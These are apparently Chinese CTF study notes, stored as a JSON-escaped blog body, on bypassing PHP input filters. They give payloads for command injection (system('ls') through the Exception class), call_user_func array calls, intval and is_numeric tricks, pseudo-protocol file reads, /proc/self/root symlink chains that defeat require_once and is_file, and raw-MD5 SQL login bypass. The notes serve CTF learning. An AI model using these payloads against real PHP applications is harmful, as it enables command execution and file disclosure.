\/dev\/null :\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b261\u91cd\u5b9a\u5411\u5230\/dev\/null,\u5728 Unix \u548c\u7c7b Unix \u7cfb\u7edf\u4e2d\uff0c\/dev\/null\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u5b83\u88ab\u79f0\u4e3a\u201c\u9ed1\u6d1e\u201d\uff0c\u56e0\u4e3a\u5b83\u4f1a\u4e22\u5f03\u6240\u6709\u5199\u5165\u5b83\u7684\u6570\u636e\u3002\u8fd9\u76f8\u5f53\u4e8e\u4e00\u4e2a\u6570\u636e\u7684\u201c\u4e0b\u6c34\u9053\u201d\uff0c\u4efb\u4f55\u53d1\u9001\u5230 \/dev\/null\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u6c38\u4e45\u5220\u9664\uff0c\u4e0d\u4f1a\u6709\u4efb\u4f55\u8f93\u51fa\u3002<\/p>\n\n\n\n
2>&1\uff1a\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b262\u91cd\u5b9a\u5411\u5230\u6587\u4ef6\u63cf\u8ff0\u7b261\u6307\u5411\u7684\u5730\u65b9\uff0c\u4e5f\u5c31\u662f\u7a7a\u7684\u8bbe\u5907\u6587\u4ef6\u3002\u6267\u884c\u8be5\u6307\u4ee4\u540e\uff0c\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u90fd\u5f80\u7a7a\u8bbe\u5907\u6587\u4ef6\u91cc\u5199\uff0c\u6548\u679c\u5c31\u662f\u4e24\u8005\u90fd\u4e22\u4e0d\u518d\u6253\u5370\u5230\u5c4f\u5e55\u3002<\/p>\n\n\n\n
\u8f93\u51fa\u91cd\u5b9a\u5411\u662f\u91cd\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u7406\u89e3\u4e3a\uff0c\u628a\u524d\u4e00\u4e2a\u547d\u4ee4\u7684\u8f93\u51fa\uff0c\u4f5c\u4e3a\u540e\u4e00\u4e2a\u547d\u4ee4\u7684\u8f93\u5165\u3002<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u4f7f\u7528\uff1b\uff0c&&\uff08%26%26\uff09\uff0c%0a\uff0c||\u7b49\uff0c\u4f7f\u7528\u7ba1\u9053\u7b26\u5206\u5272\uff0c\u4f7f\u91cd\u5b9a\u5411\u8bed\u53e5\u4e0d\u5f71\u54cd\u6211\u4eec\u8f93\u5165\u7684\u8bed\u53e5\u6b63\u5e38\u8fdb\u884c<\/p>\n\n\n\n
php\u4e2d\u8c03\u7528\u7c7b\u4e2d\u6210\u5458<\/h2>\n\n\n\n
php\u4e2d->\u548c::\u53ef\u4ee5\u7528\u4e8e\u8c03\u7528\u7c7b\u4e2d\u6210\u5458<\/p>\n\n\n\n
->\u7528\u4e8e\u52a8\u6001\u8bed\u5883\u5904\u7406\u67d0\u4e2a\u7c7b\u7684\u67d0\u4e2a\u5b9e\u4f8b<\/p>\n\n\n\n
::\u53ef\u4ee5\u8c03\u7528\u4e00\u4e2a\u9759\u6001\u7684\u3001\u4e0d\u4f9d\u8d56\u4e8e\u5176\u4ed6\u521d\u59cb\u5316\u7684\u7c7b\u65b9\u6cd5\uff08\u8c03\u7528\u7c7b\u4e2d\u51fd\u6570\u9700\u8981\u8c03\u7528\u9759\u6001\u7c7b\uff09<\/p>\n\n\n\n
php\u4e2d\u7684\u77ed\u6807\u7b7e<\/h2>\n\n\n\n
\u6b63\u5e38\uff1a<?php ?><\/p>\n\n\n\n
\u77ed\u6807\u7b7e\u5199\u6cd5\uff1a<?= ?><\/p>\n\n\n\n
\u9700\u8981\u5728php.ini\uff08\u914d\u7f6e\u6587\u4ef6\uff09\u4e2d\u8bbe\u7f6e\u4e3aon:<\/p>\n\n\n\n
short_open_tag = On\uff08php\u7248\u672c\u57285.4.0\u4ee5\u524d\u4ece\u9700\u8981\uff09<\/p>\n\n\n\n
\u53ef\u4ee5\u7ed5\u8fc7\u5bf9php\u7684\u8fc7\u6ee4<\/p>\n\n\n\n
\u5229\u7528call_user_func\u51fd\u6570\u4f20\u6570\u7ec4\u8c03\u7528\u7c7b\u65b9\u6cd5<\/h2>\n\n\n\n
\u5f53\u9700\u8981\u8c03\u7528\u7c7b\u4e2d\u51fd\u6570\uff0c\u4f46\u8fc7\u6ee4\u4e86:\u53f7\u65f6\uff0c\u5982\u679c\u53c2\u6570\u662f\u901a\u8fc7call_user_func\u51fd\u6570\u8c03\u7528\uff0c\u5219\u53ef\u4ee5\u5229\u7528call_user_func\u51fd\u6570\u4f20\u6570\u7ec4\u8c03\u7528\u7c7b\u65b9\u6cd5\uff0c\u7b2c\u4e00\u4e2a\u5143\u7d20\u662f\u7c7b\u540d\u6216\u8005\u7c7b\u7684\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7b2c\u4e8c\u4e2a\u5143\u7d20\u662f\u7c7b\u7684\u65b9\u6cd5\u540d\uff0c\u540c\u6837\u53ef\u4ee5\u8c03\u7528\u3002<\/p>\n\n\n\n
\u4f8b\u9898<\/h3>\n\n\n\n
<?php
\u200b
\/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13
\u200b
*\/
\u200b
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die(\"private class\");
    }
    static function getFlag(){
        echo file_get_contents(\"flag.php\");
    }
}
\u200b
if(strripos($_POST['ctfshow'], \":\")>-1){
    die(\"private function\");
}
\u200b
call_user_func($_POST['ctfshow']);
\u200b<\/pre>\n\n\n\n
\u4f8b\u9898<\/h3>\n\n\n\n
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
\u200b
    if(preg_match('\/[a-zA-Z]+\/', $v1) && preg_match('\/[a-zA-Z]+\/', $v2)){
            eval(\"echo new $v1($v2());\");
    }
}
?> <\/pre>\n\n\n\n
playload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag<\/p>\n\n\n\n
\u4f7f\u7528\u5f02\u5e38\u5904\u7406\u7c7bException\u6267\u884c\u547d\u4ee4<\/h2>\n\n\n\n
\u5f02\u5e38\uff08Exception\uff09\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u5bf9\u8c61\uff0c\u7528\u4e8e\u8868\u793a\u7a0b\u5e8f\u8fd0\u884c\u65f6\u53d1\u751f\u7684\u975e\u9884\u671f\u60c5\u51b5\u3002php\u63d0\u4f9b\u4e86\u5185\u7f6e\u7684Exception\u7c7b\uff08\u5c31\u662f\u4e00\u79cdphp\u7684\u539f\u751f\u7c7b\uff09<\/p>\n\n\n\n
\u901a\u8fc7\u65b0\u5efa\u7c7bnew Exception(system(\u2018cmd\u2019)<\/p>\n\n\n\n
\u5176\u4ed6\u5f02\u5e38\u5904\u7406\u7c7b\u8fd8\u6709ErrorException\uff0cTypeError\uff0cParseError\u7b49<\/p>\n\n\n\n
\u5148new$v1()\u65b0\u5efa\u4e00\u4e2a\u7c7bException\uff0c\u7136\u540e\u5229\u7528$v2\u8fdb\u884c\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n
playload\uff1a?v1=Exception&v2=system(‘ls’)<\/p>\n\n\n\n
\u5229\u7528FilesystemIterator\u83b7\u53d6\u6587\u4ef6\u76ee\u5f55<\/h2>\n\n\n\n
\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7528\u4e8e\u67e5\u770b\u6587\u4ef6\u7cfb\u7edf\u76ee\u5f55\u5185\u5bb9\u7684\u7b80\u5355\u63a5\u53e3\uff0c\u8be5\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u5c06\u4f1a\u521b\u5efa\u4e00\u4e2a\u6307\u5b9a\u76ee\u5f55\u7684\u8fed\u4ee3\u5668(FilesystemIterator()\u53ef\u4ee5\u8bfb\u53d6\u6307\u5b9a\u7684\u76ee\u5f55\u6587\u4ef6)<\/p>\n\n\n\n
getcwd\uff1a\u5c06\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u7edd\u5bf9\u8def\u5f84\u590d\u5236\u5230\u53c2\u6570buffer\u6240\u6307\u7684\u5185\u5b58\u7a7a\u95f4\u4e2d,\u53c2\u6570size\u4e3abuf\u7684\u7a7a\u95f4\u5927\u5c0f\u3002(getcwd()\u53ef\u4ee5\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\u7684\u8def\u5f84)<\/p>\n\n\n\n
\u4e8c\u8005\u914d\u5408\u5c31\u53ef\u4ee5\u8bfb\u53d6\u5f53\u524d\u6587\u4ef6\u6ca1\u76ee\u5f55\uff08\u53ea\u80fd\u8bfb\u53d6\u7b2c\u4e00\u4e2a\u6587\u4ef6\uff09<\/p>\n\n\n\n
new FilesystemIterator(getcwd())<\/p>\n\n\n\n
strpos\u51fd\u6570\u7ed5\u8fc7<\/h2>\n\n\n\n
strpos\uff1a\u7528\u4e8e\u67e5\u627e\u4e00\u4e2a\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u9996\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\u3002\u5982\u679c\u627e\u5230\u4e86\u5339\u914d\u7684\u5b57\u7b26\u4e32\uff0cstrpos\u51fd\u6570\u4f1a\u8fd4\u56de\u5339\u914d\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684\u7d22\u5f15\u503c\uff08\u4ece 0 \u5f00\u59cb\uff09\uff0c\u5426\u5219\u8fd4\u56de false\u3002<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u6570\u7ec4\u7ed5\u8fc7\uff0cstrpos\u51fd\u6570\u4e0d\u80fd\u8bc6\u522b\u6570\u7ec4\uff0c\u4f1a\u8fd4\u56defalse<\/p>\n\n\n\n
intval\u51fd\u6570\u7684\u4f7f\u7528<\/h2>\n\n\n\n
intval( mixed $value, int $base = 10) : int<\/p>\n\n\n\n
\u7528\u4e8e\u83b7\u53d6\u53d8\u91cf\u7684\u6574\u6570\u503c\uff1b\u53ef\u4f7f\u7528\u6307\u5b9a\u7684\u8fdb\u5236 base \u8f6c\u6362\uff08\u9ed8\u8ba4\u662f\u5341\u8fdb\u5236\uff09\uff0c\u8fd4\u56de\u53d8\u91cf var \u7684 integer \u6570\u503c\u3002<\/p>\n\n\n\n
\u89e3\u91caif($num===\"4476\"){
        die(\"no no no!\");
    }
if(intval($num,0)===4476){
        echo $flag;
    }
else{
        echo intval($num,0);
    }<\/pre>\n\n\n\n
\u79d1\u5b66\u8ba1\u6570\u6cd5\u4e5f\u53ef\u4ee5\u7ed5\u8fc7<\/p>\n\n\n\n
\u89e3\u91caintval('4476.0')===4476    \u5c0f\u6570\u70b9  
intval('+4476.0')===4476   \u6b63\u8d1f\u53f7
intval('4476e0')===4476    \u79d1\u5b66\u8ba1\u6570\u6cd5
intval('0x117c')===4476    16\u8fdb\u5236
intval('010574')===4476    8\u8fdb\u5236
intval(' 010574')===4476   8\u8fdb\u5236+\u7a7a\u683c<\/pre>\n\n\n\n
payload:num=4476.0<\/p>\n\n\n\n
\u4e09\u76ee\u8fd0\u7b97\u7b26\u7684\u7406\u89e3+\u53d8\u91cf\u8986\u76d6<\/h2>\n\n\n\n
\u89e3\u91ca$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);<\/pre>\n\n\n\n
\u7b2c\u4e00\u884c\uff0cGET\u88ab\u8bbe\u7f6e\uff0c\u5c31\u53ef\u4ee5\u7528POST\u8986\u76d6GET\u7684\u503c\u3002\u4e2d\u95f4\u4e24\u884c\u610f\u4e49\u4e0d\u5927\uff0c\u662fflag\u5c31\u88abCOOKIE\u8986\u76d6\uff0c\u7136\u540e\u88abSERVER\u8986\u76d6\uff0c\u4e0d\u662fflag\u88ab\u8d4b\u503cflag\u7136\u540e\u6761\u4ef6\u6210\u7acb\u4e5f\u662f\u88abSERVER\u8986\u76d6\u3002\u800c\u4e14\u8fd9\u4e2a\u88ab\u8986\u76d6\u7684GET\u6ca1\u6709\u6307\u5b9a\uff0c\u4efb\u610f\u90fd\u884c\uff0c\u7b2c\u56db\u884c\u624d\u662f\u5173\u952e\uff0c\u7b49\u4e8eflag\u5c31\u8f93\u51faflag\uff0c\u4e0d\u7b49\u4e8e\u663e\u793a\u6e90\u7801\u3002\u6240\u4ee5\u53ea\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u4efb\u610f\u7684GET\u4fdd\u8bc1$_GET\u662f\u88ab\u8bbe\u7f6e\u7684\u3002\u7136\u540ePOST\u4e00\u4e2a\u8986\u76d6\u5b83<\/p>\n\n\n\n
payload:get\uff1a1=1 post\uff1aHTTP_FLAG=flag<\/p>\n\n\n\n
\u6587\u4ef6\u5305\u542b\uff1a\u4f7f\u7528\u591a\u7ea7\u8f6f\u8fde\u63a5\u7ed5\u8fc7\u6587\u4ef6\u5224\u65ad(\u7ed5\u8fc7require_once\u4e24\u6b21\u5305\u542b)<\/h2>\n\n\n\n
\u901a\u8fc7require_once\u6765\u591a\u6b21\u5305\u542b\u540c\u4e00\u4e2a\u6587\u4ef6<\/p>\n\n\n\n
require_once()\uff1a\u5305\u542b\u5e76\u6267\u884c\u6307\u5b9a\u7684PHP\u6587\u4ef6\uff0c\u4f46\u4f1a\u68c0\u67e5\u6587\u4ef6\u662f\u5426\u5df2\u88ab\u52a0\u8f7d\u8fc7\uff0c\u5982\u679c\u6587\u4ef6\u5df2\u7ecf\u88ab\u52a0\u8f7d\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u52a0\u8f7d<\/p>\n\n\n\n
\u5229\u7528\u591a\u7ea7\u8f6f\u8fde\u63a5\u6765\u4f7f\u540c\u4e00\u4e2a\u6587\u4ef6\u88abrequire_once()\u5305\u542b\u4e24\u6b21<\/p>\n\n\n\n
<?php
require_once '\/var\/www\/html\/flag.php';
\/\/ some logic here...
require_once $_GET['file'];
?><\/pre>\n\n\n\n
\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u56e0\u4e3a\u4ed6\u4f7f\u7528\u4e86require_once()\uff0c\u5982\u679c\u6211\u4eec\u50cf\u5229\u7528\u8be5\u6f0f\u6d1e\u8bfb\u53d6\u4e00\u4e9b\u6587\u4ef6\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u4f7f\u7528php\u4f2a\u534f\u8bae\u6765\u8bfb\u53d6\u6587\u4ef6\u6e90\u7801\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u60f3\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u5df2\u7ecf\u5728\u524d\u9762\u88ab\u5305\u542b\u8fc7\u4e86\uff0c\u90a3\u4e48\u7b2c\u4e8c\u6b21\u5305\u542b\u5c31\u4f1a\u5931\u8d25\u3002<\/p>\n\n\n\n
\u8fd9\u65f6\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u591a\u91cd\u8f6f\u8fde\u63a5\uff0c\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0cPHP\u4f1a\u5c06\u7528\u6237\u8f93\u5165\u7684\u6587\u4ef6\u540d\u8fdb\u884cresolve\uff0c\u8f6c\u6362\u6210\u6807\u51c6\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u8fd9\u4e2a\u8f6c\u6362\u7684\u8fc7\u7a0b\u4f1a\u5c06\u2026\/\u3001.\/\u3001\u8f6f\u8fde\u63a5\u7b49\u90fd\u8fdb\u884c\u8ba1\u7b97\uff0c\u5f97\u5230\u4e00\u4e2a\u6700\u7ec8\u7684\u8def\u5f84\uff0c\u518d\u8fdb\u884c\u5305\u542b\u3002\u6bcf\u6b21\u5305\u542b\u90fd\u4f1a\u7ecf\u5386\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u6240\u4ee5\uff0c\u53ea\u8981\u662f\u76f8\u540c\u7684\u6587\u4ef6\uff0c\u4e0d\u7ba1\u4e2d\u95f4\u4f7f\u7528\u4e86\u2026\/\u8fdb\u884c\u8df3\u8f6c\uff0c\u8fd8\u662f\u4f7f\u7528\u8f6f\u8fde\u63a5\u8fdb\u884c\u8df3\u8f6c\uff0c\u90fd\u9003\u4e0d\u8fc7\u6700\u7ec8\u88ab\u8f6c\u6362\u6210\u539f\u59cb\u8def\u5f84\u7684\u8fc7\u7a0b\uff0c\u4e5f\u5c31\u7ed5\u4e0d\u8fc7require_once\uff0c\u4f46\u662f\u5982\u679c\u8f6f\u8fde\u63a5\u7684\u6b21\u6570\u8d85\u8fc7\u4e86\u67d0\u4e00\u4e2a\u4e0a\u9650\uff0cLinux\u7684lstat\u51fd\u6570\u5c31\u4f1a\u51fa\u9519\uff0c\u5bfc\u81f4PHP\u8ba1\u7b97\u51fa\u7684\u7edd\u5bf9\u8def\u5f84\u5c31\u4f1a\u5305\u542b\u4e00\u90e8\u5206\u8f6f\u8fde\u63a5\u7684\u8def\u5f84\uff0c\u4e5f\u5c31\u548c\u539f\u59cb\u8def\u5f84\u4e0d\u76f8\u540c\u7684\uff0c\u5373\u53ef\u7ed5\u8fc7require_once\u9650\u5236\u3002 \u5728Linux\u4e0b\uff0c\u6700\u5e38\u89c1\u7684\u8f6f\u8fde\u63a5\u5c31\u662f\/proc\/self\/root\uff0c\u8fd9\u4e2a\u8def\u5f84\u6307\u5411\u6839\u76ee\u5f55\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u53ef\u4ee5\u591a\u6b21\u4f7f\u7528\u8fd9\u4e2a\u8def\u5f84 file=\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/var\/www\/html\/flag.php<\/code> \u8fd9\u6837\u5c31\u53ef\u4ee5\u5305\u542b\u4e24\u6b21\/www\/html\/flag.php<\/p>\n\n\n\n
\u4f8b<\/h3>\n\n\n\n
[WMCTF2020]Make PHP Great Again 2.0<\/h4>\n\n\n\n
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}<\/pre>\n\n\n\n
\u60f3\u8981\u5305\u542bflag.php\u4f46\u662fflag.php\u5df2\u7ecf\u5728\u524d\u9762\u88ab\u5305\u542b\u4e86\u4e00\u6b21\uff0c\u4e14require_once\u53ea\u80fd\u88ab\u5305\u542b\u4e00\u6b21\u540c\u4e00\u4e2a\u6587\u4ef6\uff0c\u8fd9\u65f6\u5c31\u53ef\u4ee5\u4f7f\u7528\u591a\u91cd\u8f6f\u8fde\u63a5\u7ed5\u8fc7\uff08\u8be6\u7ec6\u770b\/proc\u76ee\u5f55\u7684\u8fd0\u7528\uff09<\/p>\n\n\n\n
playload\uff1a?file=php:\/\/filter\/convert.base64-encode\/resource=\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/var\/www\/html\/flag.php<\/code><\/p>\n\n\n\n
is_file()<\/h2>\n\n\n\n
\u5224\u65ad\u6587\u4ef6\u662f\u5426\u5b58\u5728\u5e76\u4e14\u68c0\u67e5\u7684\u6587\u4ef6\u540d\u662f\u5426\u662f\u6b63\u5e38\u7684\u6587\u4ef6<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
if(! is_file($file)){
    highlight_file($file);
}else{
    echo \"hacker!\";
}
\/\/\u8ba9is_file\u4e0d\u662f\u6587\u4ef6\u7684\u7c7b\u578b\uff0chighlight_file\u662f\u6587\u4ef6<\/pre>\n\n\n\n
\u4f2a\u534f\u8bae<\/h4>\n\n\n\n
?file=php:\/\/filter\/resource=flag.php<\/code><\/p>\n\n\n\n
\u591a\u91cd\u8f6f\u8fde\u63a5<\/h4>\n\n\n\n
\/proc\/self\/root\u662fLinux\u4e2d\u5e38\u89c1\u7684\u8f6f\u8fde\u63a5\uff0c\u6307\u5411\u6839\u76ee\u5f55\uff0cis_file\u4f1a\u5c1d\u8bd5\u89e3\u6790\u7b26\u53f7\u8fde\u63a5\uff0c\u4f46\u5982\u679c\u9047\u5230\u8fc7\u591a\u7684\u7b26\u53f7\u8fde\u63a5\u5d4c\u5957\uff0c\u5c31\u6709\u53ef\u80fd\u4f1a\u8fd4\u56defalse\uff0c\u6240\u4ee5\u5229\u7528\u591a\u4e2a\/proc\/self\/root+\u6587\u4ef6\uff0c\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u68c0\u6d4b<\/p>\n\n\n\n
?file=\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/proc\/self\/root\/var\/www\/html\/flag.php<\/code><\/p>\n\n\n\n
\u7ed5\u8fc7md5\uff08pass,true\uff09\uff08md5\u6ce8\u5165\uff09<\/h2>\n\n\n\n
\"image-20250118154612560\"\/<\/div><\/figure>\n\n\n\n
md5\u51fd\u6570\u4f1a\u5c06\u6211\u4eec\u8f93\u5165\u7684\u503c\uff0c\u52a0\u5bc6\uff0c\u7136\u540e\u8f6c\u6362\u621016\u5b57\u7b26\u7684\u4e8c\u8fdb\u5236\u683c\u5f0f\uff0c\u800cffifdyop\u88abmd5\u52a0\u5bc6\u540e\u7684276f722736c95d99e921722cf9ed621c\u8f6c\u6362\u621016\u4f4d\u539f\u59cb\u4e8c\u8fdb\u5236\u683c\u5f0f\u4e3a’or\u20196\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c\uff0c\u8fd9\u4e2a\u5b57\u7b26\u4e32\u524d\u51e0\u4f4d\u521a\u597d\u662f’ or ‘6\uff0c\u6709\u4e00\u8fb9\u4e3a\u771f\uff0c\u5c31\u4f1a\u4f7f\u5176\u88ab\u5224\u65ad\u4e3a\u771f\uff08\u5e03\u5c14\u5224\u65ad\u65f6\uff0c\u6570\u5b57\u5f00\u5934\u5f97\u5230\u5b57\u7b26\u4e32\u4f1a\u88ab\u5f53\u505a\u6574\u5f62\u6570\uff09<\/p>\n\n\n\n
sql\u8bed\u53e5\uff1aselect * from \u2018admin\u2019 where password=\u2019’or \u20196\u2018\uff0c6\u88ab\u5224\u65ad\u4e3a\u771f\u5c31\u53ef\u4ee5\u7ed5\u8fc7<\/p>\n\n\n\n
trim\u51fd\u6570\u7684\u7ed5\u8fc7+is_numeric\u7ed5\u8fc7<\/h2>\n\n\n\n
\u8bed\u6cd5
trim(string,charlist)
\u53bb\u9664\u5b57\u7b26\u4e32\u9996\u5c3e\u5904\u7684\u7a7a\u767d\u5b57\u7b26
\u53c2\u6570  \u63cf\u8ff0
string          \u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u68c0\u67e5\u7684\u5b57\u7b26\u4e32\u3002
charlist        \u53ef\u9009\u3002\u89c4\u5b9a\u4ece\u5b57\u7b26\u4e32\u4e2d\u5220\u9664\u54ea\u4e9b\u5b57\u7b26\u3002\u5982\u679c\u7701\u7565\u8be5\u53c2\u6570\uff0c\u5219\u79fb\u9664\u4e0b\u5217\u6240\u6709\u5b57\u7b26\uff1a
\u200b
\"\\0\"       - NULL
\"\\t\"       - \u5236\u8868\u7b26
\"\\n\"       - \u6362\u884c
\"\\x0B\"     - \u5782\u76f4\u5236\u8868\u7b26
\"\\r\"       - \u56de\u8f66
\" \"        - \u7a7a\u683c<\/pre>\n\n\n\n
\u8fd9\u4e24\u4e2a\u51fd\u6570\u4e00\u8d77\u68c0\u6d4b\u65f6\uff0cis_numeric\u8ba4\u4e3a\u5185\u5bb9\u91cc\u6709%09 %0a %0b %0c %0d %20\u4e5f\u7b97\u6570\u5b57,<\/p>\n\n\n\n
\u8fc7\u6ee4<\/p>\n\n\n\n
for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i)).\"\\n\";
   }
}<\/pre>\n\n\n\n
\u7ed3\u679c\uff0c\u53ea\u5269\u4e0b+-\u548c\u6362\u9875\u7b26%0c<\/p>\n\n\n\n
file_get_contents()\u51fd\u6570\u7684\u7ed5\u8fc7<\/h2>\n\n\n\n
file_get_contents()<\/h3>\n\n\n\n
\u5c06\u4e00\u6574\u4e2a\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u4f7f\u7528php:\/\/input\u4f2a\u534f\u8bae\u7ed5\u8fc7<\/p>\n\n\n\n
get\u53c2\u6570\uff1a?xxx=php:\/\/input<\/p>\n\n\n\n
post\u53c2\u6570\uff1afile_get_contents()\u51fd\u6570\u8fd4\u56de\u7684\u503c<\/p>\n\n\n\n
data:\/\/\u4f2a\u534f\u8bae\u7ed5\u8fc7<\/p>\n\n\n\n
url\uff1a\uff1fxxx=data:\/\/text\/plain\uff1bbase64\uff0c\u60f3\u8981file_get_contents()\u51fd\u6570\u8fd4\u56de\u7684\u503c\u7684base64\u7f16\u7801<\/p>\n\n\n\n
\u4e00\u4e9b\u51fd\u6570<\/h2>\n\n\n\n
ctype_space()<\/h3>\n\n\n\n
\u505a\u7a7a\u767d\u5b57\u7b26\u68c0\u6d4b\uff0c\u53ea\u6709\u4e00\u4e2a\u53d8\u91cf\uff0c\u68c0\u6d4b\u8be5\u53d8\u91cf\u91cc\u9762\u7684\u5b57\u7b26\u662f\u54e6\u5426\u5305\u542b\u7a7a\u767d<\/p>\n\n\n\n
\u5982\u679c\u53d8\u91cf\u91cc\u9762\u7684\u6bcf\u4e2a\u5b57\u7b26\u6700\u7ec8\u88ab\u5b9e\u9645\u8f93\u51fa\u7684\u65f6\u5019\u90fd\u662f\u67d0\u79cd\u5f62\u5f0f\u7684\u7a7a\u767d\uff0c\u5c31\u8fd4\u56deTRUE\uff1b\u5426\u5219\u8fd4\u56deFALSE\u3002 \u9664\u4e86\u7a7a\u767d\u5b57\u7b26\uff0c\u8fd8\u5305\u62ec\u7f29\u8fdb\uff0c\u5782\u76f4\u5236\u8868\u7b26\uff0c\u6362\u884c\u7b26\uff0c\u56de\u8f66\u548c\u6362\u9875\u5b57\u7b26<\/p>\n\n\n\n
get_defined_vars<\/h3>\n\n\n\n
\u6b64\u51fd\u6570\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u6240\u6709\u5df2\u5b9a\u4e49\u53d8\u91cf\u5217\u8868\u7684\u591a\u7ef4\u6570\u7ec4\uff0c\u8fd9\u4e9b\u53d8\u91cf\u5305\u62ec\u73af\u5883\u53d8\u91cf\u3001\u670d\u52a1\u5668\u53d8\u91cf\u548c\u7528\u6237\u5b9a\u4e49\u7684\u53d8\u91cf<\/p>\n\n\n\n
strrev<\/h3>\n\n\n\n
strrev()\u51fd\u6570\u662fPHP\u4e2d\u7684\u4e00\u4e2a\u5185\u7f6e\u51fd\u6570\uff0c\u5b83\u53ef\u7528\u4e8e\u53cd\u8f6c\u5b57\u7b26\u4e32\u3002\u8be5\u51fd\u6570\u4e0d\u4f1a\u5bf9\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u5b83\u7684\u539f\u59cb\u5b57\u7b26\u4e32\u8fdb\u884c\u4efb\u4f55\u66f4\u6539<\/p>\n\n\n\n
var_dump()<\/h3>\n\n\n\n
var_dump() \u51fd\u6570\u7528\u4e8e\u8f93\u51fa\u53d8\u91cf\u7684\u76f8\u5173\u4fe1\u606f<\/p>\n\n\n\n
ctype_alpha<\/h3>\n\n\n\n
\u7528\u4e8e\u68c0\u67e5\u7ed9\u5b9a\u7684\u5b57\u7b26\u4e32\u662f\u5426\u4ec5\u5305\u542b\u5b57\u6bcd<\/p>\n","protected":false},"excerpt":{"rendered":"
